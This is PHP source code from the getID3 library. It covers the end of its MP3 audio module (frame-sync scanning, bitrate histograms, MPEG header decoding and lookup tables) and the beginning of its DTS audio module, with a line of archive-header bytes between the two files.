					$this->error('Could not find valid MPEG audio synch after scanning '.$SyncSeekAttempts.' candidate offsets');
					if (isset($info['audio']['bitrate'])) {
						unset($info['audio']['bitrate']);
					}
					if (isset($info['mpeg']['audio'])) {
						unset($info['mpeg']['audio']);
					}
					if (empty($info['mpeg'])) {
						unset($info['mpeg']);
					}
					return false;
				}
				$FirstFrameAVDataOffset = null;
				if (!isset($FirstFrameThisfileInfo) && !isset($info['mpeg']['audio'])) {
					$FirstFrameThisfileInfo = $info;
					$FirstFrameAVDataOffset = $avdataoffset + $SynchSeekOffset;
					if (!$this->decodeMPEGaudioHeader($FirstFrameAVDataOffset, $FirstFrameThisfileInfo, false)) {
						// if this is the first valid MPEG-audio frame, save it in case it's a VBR header frame and there's
						// garbage between this frame and a valid sequence of MPEG-audio frames, to be restored below
						unset($FirstFrameThisfileInfo);
					}
				}

				$dummy = $info; // only overwrite real data if valid header found
				if ($this->decodeMPEGaudioHeader($avdataoffset + $SynchSeekOffset, $dummy, true)) {
					$info = $dummy;
					$info['avdataoffset'] = $avdataoffset + $SynchSeekOffset;
					switch (isset($info['fileformat']) ? $info['fileformat'] : '') {
						case '':
						case 'id3':
						case 'ape':
						case 'mp3':
							$info['fileformat']          = 'mp3';
							$info['audio']['dataformat'] = 'mp3';
							break;
					}
					if (isset($FirstFrameThisfileInfo) && isset($FirstFrameThisfileInfo['mpeg']['audio']['bitrate_mode']) && ($FirstFrameThisfileInfo['mpeg']['audio']['bitrate_mode'] == 'vbr')) {
						if (!(abs($info['audio']['bitrate'] - $FirstFrameThisfileInfo['audio']['bitrate']) <= 1)) {
							// If there is garbage data between a valid VBR header frame and a sequence
							// of valid MPEG-audio frames the VBR data is no longer discarded.
							$info = $FirstFrameThisfileInfo;
							$info['avdataoffset']        = $FirstFrameAVDataOffset;
							$info['fileformat']          = 'mp3';
							$info['audio']['dataformat'] = 'mp3';
							$dummy                       = $info;
							unset($dummy['mpeg']['audio']);
							$GarbageOffsetStart = $FirstFrameAVDataOffset + $FirstFrameThisfileInfo['mpeg']['audio']['framelength'];
							$GarbageOffsetEnd   = $avdataoffset + $SynchSeekOffset;
							if ($this->decodeMPEGaudioHeader($GarbageOffsetEnd, $dummy, true, true)) {
								$info = $dummy;
								$info['avdataoffset'] = $GarbageOffsetEnd;
								$this->warning('apparently-valid VBR header not used because could not find '.$this->mp3_valid_check_frames.' consecutive MPEG-audio frames immediately after VBR header (garbage data for '.($GarbageOffsetEnd - $GarbageOffsetStart).' bytes between '.$GarbageOffsetStart.' and '.$GarbageOffsetEnd.'), but did find valid CBR stream starting at '.$GarbageOffsetEnd);
							} else {
								$this->warning('using data from VBR header even though could not find '.$this->mp3_valid_check_frames.' consecutive MPEG-audio frames immediately after VBR header (garbage data for '.($GarbageOffsetEnd - $GarbageOffsetStart).' bytes between '.$GarbageOffsetStart.' and '.$GarbageOffsetEnd.')');
							}
						}
					}
					if (isset($info['mpeg']['audio']['bitrate_mode']) && ($info['mpeg']['audio']['bitrate_mode'] == 'vbr') && !isset($info['mpeg']['audio']['VBR_method'])) {
						// VBR file with no VBR header
						$BitrateHistogram = true;
					}

					if ($BitrateHistogram) {

						$info['mpeg']['audio']['stereo_distribution']  = array('stereo'=>0, 'joint stereo'=>0, 'dual channel'=>0, 'mono'=>0);
						$info['mpeg']['audio']['version_distribution'] = array('1'=>0, '2'=>0, '2.5'=>0);

						if ($info['mpeg']['audio']['version'] == '1') {
							if ($info['mpeg']['audio']['layer'] == 3) {
								$info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 40000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 160000=>0, 192000=>0, 224000=>0, 256000=>0, 320000=>0);
							} elseif ($info['mpeg']['audio']['layer'] == 2) {
								$info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 160000=>0, 192000=>0, 224000=>0, 256000=>0, 320000=>0, 384000=>0);
							} elseif ($info['mpeg']['audio']['layer'] == 1) {
								$info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 64000=>0, 96000=>0, 128000=>0, 160000=>0, 192000=>0, 224000=>0, 256000=>0, 288000=>0, 320000=>0, 352000=>0, 384000=>0, 416000=>0, 448000=>0);
							}
						} elseif ($info['mpeg']['audio']['layer'] == 1) {
							$info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 144000=>0, 160000=>0, 176000=>0, 192000=>0, 224000=>0, 256000=>0);
						} else {
							$info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 8000=>0, 16000=>0, 24000=>0, 32000=>0, 40000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 144000=>0, 160000=>0);
						}

						$dummy = array('error'=>$info['error'], 'warning'=>$info['warning'], 'avdataend'=>$info['avdataend'], 'avdataoffset'=>$info['avdataoffset']);
						$synchstartoffset = $info['avdataoffset'];
						$this->fseek($info['avdataoffset']);

						// you can play with these numbers:
						$max_frames_scan  = 50000;
						$max_scan_segments = 10;

						// don't play with these numbers:
						$FastMode = false;
						$SynchErrorsFound = 0;
						$frames_scanned   = 0;
						$this_scan_segment = 0;
						$frames_scan_per_segment = ceil($max_frames_scan / $max_scan_segments);
						$pct_data_scanned = 0;
						for ($current_segment = 0; $current_segment < $max_scan_segments; $current_segment++) {
							$frames_scanned_this_segment = 0;
							$scan_start_offset = array();
							if ($this->ftell() >= $info['avdataend']) {
								break;
							}
							$scan_start_offset[$current_segment] = max($this->ftell(), $info['avdataoffset'] + round($current_segment * (($info['avdataend'] - $info['avdataoffset']) / $max_scan_segments)));
							if ($current_segment > 0) {
								$this->fseek($scan_start_offset[$current_segment]);
								$buffer_4k = $this->fread(4096);
								for ($j = 0; $j < (strlen($buffer_4k) - 4); $j++) {
									if (($buffer_4k[$j] == "\xFF") && ($buffer_4k[($j + 1)] > "\xE0")) { // synch detected
										if ($this->decodeMPEGaudioHeader($scan_start_offset[$current_segment] + $j, $dummy, false, false, $FastMode)) {
											$calculated_next_offset = $scan_start_offset[$current_segment] + $j + $dummy['mpeg']['audio']['framelength'];
											if ($this->decodeMPEGaudioHeader($calculated_next_offset, $dummy, false, false, $FastMode)) {
												$scan_start_offset[$current_segment] += $j;
												break;
											}
										}
									}
								}
							}
							$synchstartoffset = $scan_start_offset[$current_segment];
							while (($synchstartoffset < $info['avdataend']) && $this->decodeMPEGaudioHeader($synchstartoffset, $dummy, false, false, $FastMode)) {
								$FastMode = true;
								$thisframebitrate = $MPEGaudioBitrateLookup[$MPEGaudioVersionLookup[$dummy['mpeg']['audio']['raw']['version']]][$MPEGaudioLayerLookup[$dummy['mpeg']['audio']['raw']['layer']]][$dummy['mpeg']['audio']['raw']['bitrate']];

								if (empty($dummy['mpeg']['audio']['framelength'])) {
									$SynchErrorsFound++;
									$synchstartoffset++;
								} else {
									getid3_lib::safe_inc($info['mpeg']['audio']['bitrate_distribution'][$thisframebitrate]);
									getid3_lib::safe_inc($info['mpeg']['audio']['stereo_distribution'][$dummy['mpeg']['audio']['channelmode']]);
									getid3_lib::safe_inc($info['mpeg']['audio']['version_distribution'][$dummy['mpeg']['audio']['version']]);
									$synchstartoffset += $dummy['mpeg']['audio']['framelength'];
								}
								$frames_scanned++;
								if ($frames_scan_per_segment && (++$frames_scanned_this_segment >= $frames_scan_per_segment)) {
									$this_pct_scanned = getid3_lib::SafeDiv($this->ftell() - $scan_start_offset[$current_segment], $info['avdataend'] - $info['avdataoffset']);
									if (($current_segment == 0) && (($this_pct_scanned * $max_scan_segments) >= 1)) {
										// file likely contains < $max_frames_scan, just scan as one segment
										$max_scan_segments = 1;
										$frames_scan_per_segment = $max_frames_scan;
									} else {
										$pct_data_scanned += $this_pct_scanned;
										break;
									}
								}
							}
						}
						if ($pct_data_scanned > 0) {
							$this->warning('too many MPEG audio frames to scan, only scanned '.$frames_scanned.' frames in '.$max_scan_segments.' segments ('.number_format($pct_data_scanned * 100, 1).'% of file) and extrapolated distribution, playtime and bitrate may be incorrect.');
							foreach ($info['mpeg']['audio'] as $key1 => $value1) {
								if (!preg_match('#_distribution$#i', $key1)) {
									continue;
								}
								foreach ($value1 as $key2 => $value2) {
									$info['mpeg']['audio'][$key1][$key2] = round($value2 / $pct_data_scanned);
								}
							}
						}

						if ($SynchErrorsFound > 0) {
							$this->warning('Found '.$SynchErrorsFound.' synch errors in histogram analysis');
							//return false;
						}

						$bittotal     = 0;
						$framecounter = 0;
						foreach ($info['mpeg']['audio']['bitrate_distribution'] as $bitratevalue => $bitratecount) {
							$framecounter += $bitratecount;
							if ($bitratevalue != 'free') {
								$bittotal += ($bitratevalue * $bitratecount);
							}
						}
						if ($framecounter == 0) {
							$this->error('Corrupt MP3 file: framecounter == zero');
							return false;
						}
						$info['mpeg']['audio']['frame_count'] = getid3_lib::CastAsInt($framecounter);
						$info['mpeg']['audio']['bitrate']     = ($bittotal / $framecounter);

						$info['audio']['bitrate'] = $info['mpeg']['audio']['bitrate'];


						// Definitively set VBR vs CBR, even if the Xing/LAME/VBRI header says differently
						$distinct_bitrates = 0;
						foreach ($info['mpeg']['audio']['bitrate_distribution'] as $bitrate_value => $bitrate_count) {
							if ($bitrate_count > 0) {
								$distinct_bitrates++;
							}
						}
						if ($distinct_bitrates > 1) {
							$info['mpeg']['audio']['bitrate_mode'] = 'vbr';
						} else {
							$info['mpeg']['audio']['bitrate_mode'] = 'cbr';
						}
						$info['audio']['bitrate_mode'] = $info['mpeg']['audio']['bitrate_mode'];

					}

					break; // exit while()
				}
			}

			$SynchSeekOffset++;
			if (($avdataoffset + $SynchSeekOffset) >= $info['avdataend']) {
				// end of file/data

				if (empty($info['mpeg']['audio'])) {

					$this->error('could not find valid MPEG synch before end of file');
					if (isset($info['audio']['bitrate'])) {
						unset($info['audio']['bitrate']);
					}
					if (isset($info['mpeg']['audio'])) {
						unset($info['mpeg']['audio']);
					}
					if (isset($info['mpeg']) && (!is_array($info['mpeg']) || empty($info['mpeg']))) {
						unset($info['mpeg']);
					}
					return false;

				}
				break;
			}

		}
		$info['audio']['channels']        = $info['mpeg']['audio']['channels'];
		if ($info['audio']['channels'] < 1) {
			$this->error('Corrupt MP3 file: no channels');
			return false;
		}
		$info['audio']['channelmode']     = $info['mpeg']['audio']['channelmode'];
		$info['audio']['sample_rate']     = $info['mpeg']['audio']['sample_rate'];
		return true;
	}

	/**
	 * @return array
	 */
	public static function MPEGaudioVersionArray() {
		static $MPEGaudioVersion = array('2.5', false, '2', '1');
		return $MPEGaudioVersion;
	}

	/**
	 * @return array
	 */
	public static function MPEGaudioLayerArray() {
		static $MPEGaudioLayer = array(false, 3, 2, 1);
		return $MPEGaudioLayer;
	}

	/**
	 * @return array
	 */
	public static function MPEGaudioBitrateArray() {
		static $MPEGaudioBitrate;
		if (empty($MPEGaudioBitrate)) {
			$MPEGaudioBitrate = array (
				'1'  =>  array (1 => array('free', 32000, 64000, 96000, 128000, 160000, 192000, 224000, 256000, 288000, 320000, 352000, 384000, 416000, 448000),
								2 => array('free', 32000, 48000, 56000,  64000,  80000,  96000, 112000, 128000, 160000, 192000, 224000, 256000, 320000, 384000),
								3 => array('free', 32000, 40000, 48000,  56000,  64000,  80000,  96000, 112000, 128000, 160000, 192000, 224000, 256000, 320000)
							   ),

				'2'  =>  array (1 => array('free', 32000, 48000, 56000,  64000,  80000,  96000, 112000, 128000, 144000, 160000, 176000, 192000, 224000, 256000),
								2 => array('free',  8000, 16000, 24000,  32000,  40000,  48000,  56000,  64000,  80000,  96000, 112000, 128000, 144000, 160000),
							   )
			);
			$MPEGaudioBitrate['2'][3] = $MPEGaudioBitrate['2'][2];
			$MPEGaudioBitrate['2.5']  = $MPEGaudioBitrate['2'];
		}
		return $MPEGaudioBitrate;
	}

	/**
	 * @return array
	 */
	public static function MPEGaudioFrequencyArray() {
		static $MPEGaudioFrequency;
		if (empty($MPEGaudioFrequency)) {
			$MPEGaudioFrequency = array (
				'1'   => array(44100, 48000, 32000),
				'2'   => array(22050, 24000, 16000),
				'2.5' => array(11025, 12000,  8000)
			);
		}
		return $MPEGaudioFrequency;
	}

	/**
	 * @return array
	 */
	public static function MPEGaudioChannelModeArray() {
		static $MPEGaudioChannelMode = array('stereo', 'joint stereo', 'dual channel', 'mono');
		return $MPEGaudioChannelMode;
	}

	/**
	 * @return array
	 */
	public static function MPEGaudioModeExtensionArray() {
		static $MPEGaudioModeExtension;
		if (empty($MPEGaudioModeExtension)) {
			$MPEGaudioModeExtension = array (
				1 => array('4-31', '8-31', '12-31', '16-31'),
				2 => array('4-31', '8-31', '12-31', '16-31'),
				3 => array('', 'IS', 'MS', 'IS+MS')
			);
		}
		return $MPEGaudioModeExtension;
	}

	/**
	 * @return array
	 */
	public static function MPEGaudioEmphasisArray() {
		static $MPEGaudioEmphasis = array('none', '50/15ms', false, 'CCIT J.17');
		return $MPEGaudioEmphasis;
	}

	/**
	 * @param string $head4
	 * @param bool   $allowBitrate15
	 *
	 * @return bool
	 */
	public static function MPEGaudioHeaderBytesValid($head4, $allowBitrate15=false) {
		return self::MPEGaudioHeaderValid(self::MPEGaudioHeaderDecode($head4), false, $allowBitrate15);
	}

	/**
	 * @param array $rawarray
	 * @param bool  $echoerrors
	 * @param bool  $allowBitrate15
	 *
	 * @return bool
	 */
	public static function MPEGaudioHeaderValid($rawarray, $echoerrors=false, $allowBitrate15=false) {
		if (!isset($rawarray['synch']) || ($rawarray['synch'] & 0x0FFE) != 0x0FFE) {
			return false;
		}

		static $MPEGaudioVersionLookup;
		static $MPEGaudioLayerLookup;
		static $MPEGaudioBitrateLookup;
		static $MPEGaudioFrequencyLookup;
		static $MPEGaudioChannelModeLookup;
		static $MPEGaudioModeExtensionLookup;
		static $MPEGaudioEmphasisLookup;
		if (empty($MPEGaudioVersionLookup)) {
			$MPEGaudioVersionLookup       = self::MPEGaudioVersionArray();
			$MPEGaudioLayerLookup         = self::MPEGaudioLayerArray();
			$MPEGaudioBitrateLookup       = self::MPEGaudioBitrateArray();
			$MPEGaudioFrequencyLookup     = self::MPEGaudioFrequencyArray();
			$MPEGaudioChannelModeLookup   = self::MPEGaudioChannelModeArray();
			$MPEGaudioModeExtensionLookup = self::MPEGaudioModeExtensionArray();
			$MPEGaudioEmphasisLookup      = self::MPEGaudioEmphasisArray();
		}

		if (isset($MPEGaudioVersionLookup[$rawarray['version']])) {
			$decodedVersion = $MPEGaudioVersionLookup[$rawarray['version']];
		} else {
			echo ($echoerrors ? "\n".'invalid Version ('.$rawarray['version'].')' : '');
			return false;
		}
		if (isset($MPEGaudioLayerLookup[$rawarray['layer']])) {
			$decodedLayer = $MPEGaudioLayerLookup[$rawarray['layer']];
		} else {
			echo ($echoerrors ? "\n".'invalid Layer ('.$rawarray['layer'].')' : '');
			return false;
		}
		if (!isset($MPEGaudioBitrateLookup[$decodedVersion][$decodedLayer][$rawarray['bitrate']])) {
			echo ($echoerrors ? "\n".'invalid Bitrate ('.$rawarray['bitrate'].')' : '');
			if ($rawarray['bitrate'] == 15) {
				// known issue in LAME 3.90 - 3.93.1 where free-format has bitrate ID of 15 instead of 0
				// let it go through here otherwise file will not be identified
				if (!$allowBitrate15) {
					return false;
				}
			} else {
				return false;
			}
		}
		if (!isset($MPEGaudioFrequencyLookup[$decodedVersion][$rawarray['sample_rate']])) {
			echo ($echoerrors ? "\n".'invalid Frequency ('.$rawarray['sample_rate'].')' : '');
			return false;
		}
		if (!isset($MPEGaudioChannelModeLookup[$rawarray['channelmode']])) {
			echo ($echoerrors ? "\n".'invalid ChannelMode ('.$rawarray['channelmode'].')' : '');
			return false;
		}
		if (!isset($MPEGaudioModeExtensionLookup[$decodedLayer][$rawarray['modeextension']])) {
			echo ($echoerrors ? "\n".'invalid Mode Extension ('.$rawarray['modeextension'].')' : '');
			return false;
		}
		if (!isset($MPEGaudioEmphasisLookup[$rawarray['emphasis']])) {
			echo ($echoerrors ? "\n".'invalid Emphasis ('.$rawarray['emphasis'].')' : '');
			return false;
		}
		// These are just either set or not set, you can't mess that up :)
		// $rawarray['protection'];
		// $rawarray['padding'];
		// $rawarray['private'];
		// $rawarray['copyright'];
		// $rawarray['original'];

		return true;
	}

	/**
	 * @param string $Header4Bytes
	 *
	 * @return array|false
	 */
	public static function MPEGaudioHeaderDecode($Header4Bytes) {
		// AAAA AAAA  AAAB BCCD  EEEE FFGH  IIJJ KLMM
		// A - Frame sync (all bits set)
		// B - MPEG Audio version ID
		// C - Layer description
		// D - Protection bit
		// E - Bitrate index
		// F - Sampling rate frequency index
		// G - Padding bit
		// H - Private bit
		// I - Channel Mode
		// J - Mode extension (Only if Joint stereo)
		// K - Copyright
		// L - Original
		// M - Emphasis

		if (strlen($Header4Bytes) != 4) {
			return false;
		}

		$MPEGrawHeader = array();
		$MPEGrawHeader['synch']         = (getid3_lib::BigEndian2Int(substr($Header4Bytes, 0, 2)) & 0xFFE0) >> 4;
		$MPEGrawHeader['version']       = (ord($Header4Bytes[1]) & 0x18) >> 3; //    BB
		$MPEGrawHeader['layer']         = (ord($Header4Bytes[1]) & 0x06) >> 1; //      CC
		$MPEGrawHeader['protection']    = (ord($Header4Bytes[1]) & 0x01);      //        D
		$MPEGrawHeader['bitrate']       = (ord($Header4Bytes[2]) & 0xF0) >> 4; // EEEE
		$MPEGrawHeader['sample_rate']   = (ord($Header4Bytes[2]) & 0x0C) >> 2; //     FF
		$MPEGrawHeader['padding']       = (ord($Header4Bytes[2]) & 0x02) >> 1; //       G
		$MPEGrawHeader['private']       = (ord($Header4Bytes[2]) & 0x01);      //        H
		$MPEGrawHeader['channelmode']   = (ord($Header4Bytes[3]) & 0xC0) >> 6; // II
		$MPEGrawHeader['modeextension'] = (ord($Header4Bytes[3]) & 0x30) >> 4; //   JJ
		$MPEGrawHeader['copyright']     = (ord($Header4Bytes[3]) & 0x08) >> 3; //     K
		$MPEGrawHeader['original']      = (ord($Header4Bytes[3]) & 0x04) >> 2; //      L
		$MPEGrawHeader['emphasis']      = (ord($Header4Bytes[3]) & 0x03);      //       MM

		return $MPEGrawHeader;
	}

	/**
	 * @param int|string $bitrate
	 * @param string     $version
	 * @param string     $layer
	 * @param bool       $padding
	 * @param int        $samplerate
	 *
	 * @return int|false
	 */
	public static function MPEGaudioFrameLength(&$bitrate, &$version, &$layer, $padding, &$samplerate) {
		static $AudioFrameLengthCache = array();

		if (!isset($AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate])) {
			$AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate] = false;
			if ($bitrate != 'free') {

				if ($version == '1') {

					if ($layer == '1') {

						// For Layer I slot is 32 bits long
						$FrameLengthCoefficient = 48;
						$SlotLength = 4;

					} else { // Layer 2 / 3

						// for Layer 2 and Layer 3 slot is 8 bits long.
						$FrameLengthCoefficient = 144;
						$SlotLength = 1;

					}

				} else { // MPEG-2 / MPEG-2.5

					if ($layer == '1') {

						// For Layer I slot is 32 bits long
						$FrameLengthCoefficient = 24;
						$SlotLength = 4;

					} elseif ($layer == '2') {

						// for Layer 2 and Layer 3 slot is 8 bits long.
						$FrameLengthCoefficient = 144;
						$SlotLength = 1;

					} else { // layer 3

						// for Layer 2 and Layer 3 slot is 8 bits long.
						$FrameLengthCoefficient = 72;
						$SlotLength = 1;

					}

				}

				// FrameLengthInBytes = ((Coefficient * BitRate) / SampleRate) + Padding
				if ($samplerate > 0) {
					$NewFramelength  = ($FrameLengthCoefficient * $bitrate) / $samplerate;
					$NewFramelength  = floor($NewFramelength / $SlotLength) * $SlotLength; // round to next-lower multiple of SlotLength (1 byte for Layer 2/3, 4 bytes for Layer I)
					if ($padding) {
						$NewFramelength += $SlotLength;
					}
					$AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate] = (int) $NewFramelength;
				}
			}
		}
		return $AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate];
	}

	/**
	 * @param float|int $bit_rate
	 *
	 * @return int|float|string
	 */
	public static function ClosestStandardMP3Bitrate($bit_rate) {
		static $standard_bit_rates = array (320000, 256000, 224000, 192000, 160000, 128000, 112000, 96000, 80000, 64000, 56000, 48000, 40000, 32000, 24000, 16000, 8000);
		static $bit_rate_table = array (0=>'-');
		$round_bit_rate = intval(round($bit_rate, -3));
		if (!isset($bit_rate_table[$round_bit_rate])) {
			if ($round_bit_rate > max($standard_bit_rates)) {
				$bit_rate_table[$round_bit_rate] = round($bit_rate, 2 - strlen($bit_rate));
			} else {
				$bit_rate_table[$round_bit_rate] = max($standard_bit_rates);
				foreach ($standard_bit_rates as $standard_bit_rate) {
					if ($round_bit_rate >= $standard_bit_rate + (($bit_rate_table[$round_bit_rate] - $standard_bit_rate) / 2)) {
						break;
					}
					$bit_rate_table[$round_bit_rate] = $standard_bit_rate;
				}
			}
		}
		return $bit_rate_table[$round_bit_rate];
	}

	/**
	 * @param string $version
	 * @param string $channelmode
	 *
	 * @return int
	 */
	public static function XingVBRidOffset($version, $channelmode) {
		static $XingVBRidOffsetCache = array();
		if (empty($XingVBRidOffsetCache)) {
			$XingVBRidOffsetCache = array (
				'1'   => array ('mono'          => 0x15, // 4 + 17 = 21
								'stereo'        => 0x24, // 4 + 32 = 36
								'joint stereo'  => 0x24,
								'dual channel'  => 0x24
							   ),

				'2'   => array ('mono'          => 0x0D, // 4 +  9 = 13
								'stereo'        => 0x15, // 4 + 17 = 21
								'joint stereo'  => 0x15,
								'dual channel'  => 0x15
							   ),

				'2.5' => array ('mono'          => 0x15,
								'stereo'        => 0x15,
								'joint stereo'  => 0x15,
								'dual channel'  => 0x15
							   )
			);
		}
		return $XingVBRidOffsetCache[$version][$channelmode];
	}

	/**
	 * @param int $VBRmethodID
	 *
	 * @return string
	 */
	public static function LAMEvbrMethodLookup($VBRmethodID) {
		static $LAMEvbrMethodLookup = array(
			0x00 => 'unknown',
			0x01 => 'cbr',
			0x02 => 'abr',
			0x03 => 'vbr-old / vbr-rh',
			0x04 => 'vbr-new / vbr-mtrh',
			0x05 => 'vbr-mt',
			0x06 => 'vbr (full vbr method 4)',
			0x08 => 'cbr (constant bitrate 2 pass)',
			0x09 => 'abr (2 pass)',
			0x0F => 'reserved'
		);
		return (isset($LAMEvbrMethodLookup[$VBRmethodID]) ? $LAMEvbrMethodLookup[$VBRmethodID] : '');
	}

	/**
	 * @param int $StereoModeID
	 *
	 * @return string
	 */
	public static function LAMEmiscStereoModeLookup($StereoModeID) {
		static $LAMEmiscStereoModeLookup = array(
			0 => 'mono',
			1 => 'stereo',
			2 => 'dual mono',
			3 => 'joint stereo',
			4 => 'forced stereo',
			5 => 'auto',
			6 => 'intensity stereo',
			7 => 'other'
		);
		return (isset($LAMEmiscStereoModeLookup[$StereoModeID]) ? $LAMEmiscStereoModeLookup[$StereoModeID] : '');
	}

	/**
	 * @param int $SourceSampleFrequencyID
	 *
	 * @return string
	 */
	public static function LAMEmiscSourceSampleFrequencyLookup($SourceSampleFrequencyID) {
		static $LAMEmiscSourceSampleFrequencyLookup = array(
			0 => '<= 32 kHz',
			1 => '44.1 kHz',
			2 => '48 kHz',
			3 => '> 48kHz'
		);
		return (isset($LAMEmiscSourceSampleFrequencyLookup[$SourceSampleFrequencyID]) ? $LAMEmiscSourceSampleFrequencyLookup[$SourceSampleFrequencyID] : '');
	}

	/**
	 * @param int $SurroundInfoID
	 *
	 * @return string
	 */
	public static function LAMEsurroundInfoLookup($SurroundInfoID) {
		static $LAMEsurroundInfoLookup = array(
			0 => 'no surround info',
			1 => 'DPL encoding',
			2 => 'DPL2 encoding',
			3 => 'Ambisonic encoding'
		);
		return (isset($LAMEsurroundInfoLookup[$SurroundInfoID]) ? $LAMEsurroundInfoLookup[$SurroundInfoID] : 'reserved');
	}

	/**
	 * @param array $LAMEtag
	 *
	 * @return string
	 */
	public static function LAMEpresetUsedLookup($LAMEtag) {

		if ($LAMEtag['preset_used_id'] == 0) {
			// no preset used (LAME >=3.93)
			// no preset recorded (LAME <3.93)
			return '';
		}
		$LAMEpresetUsedLookup = array();

		/////  THIS PART CANNOT BE STATIC .
		for ($i = 8; $i <= 320; $i++) {
			switch ($LAMEtag['vbr_method']) {
				case 'cbr':
					$LAMEpresetUsedLookup[$i] = '--alt-preset '.$LAMEtag['vbr_method'].' '.$i;
					break;
				case 'abr':
				default: // other VBR modes shouldn't be here(?)
					$LAMEpresetUsedLookup[$i] = '--alt-preset '.$i;
					break;
			}
		}

		// named old-style presets (studio, phone, voice, etc) are handled in GuessEncoderOptions()

		// named alt-presets
		$LAMEpresetUsedLookup[1000] = '--r3mix';
		$LAMEpresetUsedLookup[1001] = '--alt-preset standard';
		$LAMEpresetUsedLookup[1002] = '--alt-preset extreme';
		$LAMEpresetUsedLookup[1003] = '--alt-preset insane';
		$LAMEpresetUsedLookup[1004] = '--alt-preset fast standard';
		$LAMEpresetUsedLookup[1005] = '--alt-preset fast extreme';
		$LAMEpresetUsedLookup[1006] = '--alt-preset medium';
		$LAMEpresetUsedLookup[1007] = '--alt-preset fast medium';

		// LAME 3.94 additions/changes
		$LAMEpresetUsedLookup[1010] = '--preset portable';                                                           // 3.94a15 Oct 21 2003
		$LAMEpresetUsedLookup[1015] = '--preset radio';                                                              // 3.94a15 Oct 21 2003

		$LAMEpresetUsedLookup[320]  = '--preset insane';                                                             // 3.94a15 Nov 12 2003
		$LAMEpresetUsedLookup[410]  = '-V9';
		$LAMEpresetUsedLookup[420]  = '-V8';
		$LAMEpresetUsedLookup[440]  = '-V6';
		$LAMEpresetUsedLookup[430]  = '--preset radio';                                                              // 3.94a15 Nov 12 2003
		$LAMEpresetUsedLookup[450]  = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'portable';  // 3.94a15 Nov 12 2003
		$LAMEpresetUsedLookup[460]  = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'medium';    // 3.94a15 Nov 12 2003
		$LAMEpresetUsedLookup[470]  = '--r3mix';                                                                     // 3.94b1  Dec 18 2003
		$LAMEpresetUsedLookup[480]  = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'standard';  // 3.94a15 Nov 12 2003
		$LAMEpresetUsedLookup[490]  = '-V1';
		$LAMEpresetUsedLookup[500]  = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'extreme';   // 3.94a15 Nov 12 2003

		return (isset($LAMEpresetUsedLookup[$LAMEtag['preset_used_id']]) ? $LAMEpresetUsedLookup[$LAMEtag['preset_used_id']] : 'new/unknown preset: '.$LAMEtag['preset_used_id'].' - report to info@getid3.org');
	}

}
PKEWd[���*�*module.audio.dts.phpnu�[���<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio.dts.php                                        //
// module for analyzing DTS Audio files                        //
// dependencies: NONE                                          //
//                                                             //
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}

/**
* @tutorial http://wiki.multimedia.cx/index.php?title=DTS
*/
class getid3_dts extends getid3_handler
{
	/**
	 * Default DTS syncword used in native .cpt or .dts formats.
	 */
	const syncword = "\x7F\xFE\x80\x01";

	/**
	 * @var int
	 */
	private $readBinDataOffset = 0;

	/**
	 * Possible syncwords indicating bitstream encoding.
	 */
	public static $syncwords = array(
		0 => "\x7F\xFE\x80\x01",  // raw big-endian
		1 => "\xFE\x7F\x01\x80",  // raw little-endian
		2 => "\x1F\xFF\xE8\x00",  // 14-bit big-endian
		3 => "\xFF\x1F\x00\xE8"); // 14-bit little-endian

	/**
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;
		$info['fileformat'] = 'dts';

		$this->fseek($info['avdataoffset']);
		$DTSheader = $this->fread(20); // we only need 2 words magic + 6 words frame header, but these words may be normal 16-bit words OR 14-bit words with 2 highest bits set to zero, so 8 words can be either 8*16/8 = 16 bytes OR 8*16*(16/14)/8 = 18.3 bytes

		// check syncword
		$sync = substr($DTSheader, 0, 4);
		if (($encoding = array_search($sync, self::$syncwords)) !== false) {

			$info['dts']['raw']['magic'] = $sync;
			$this->readBinDataOffset = 32;

		} elseif ($this->isDependencyFor('matroska')) {

			// Matroska contains DTS without syncword encoded as raw big-endian format
			$encoding = 0;
			$this->readBinDataOffset = 0;

		} else {

			unset($info['fileformat']);
			return $this->error('Expecting "'.implode('| ', array_map('getid3_lib::PrintHexBytes', self::$syncwords)).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($sync).'"');

		}

		// decode header
		$fhBS = '';
		for ($word_offset = 0; $word_offset <= strlen($DTSheader); $word_offset += 2) {
			switch ($encoding) {
				case 0: // raw big-endian
					$fhBS .=        getid3_lib::BigEndian2Bin(       substr($DTSheader, $word_offset, 2) );
					break;
				case 1: // raw little-endian
					$fhBS .=        getid3_lib::BigEndian2Bin(strrev(substr($DTSheader, $word_offset, 2)));
					break;
				case 2: // 14-bit big-endian
					$fhBS .= substr(getid3_lib::BigEndian2Bin(       substr($DTSheader, $word_offset, 2) ), 2, 14);
					break;
				case 3: // 14-bit little-endian
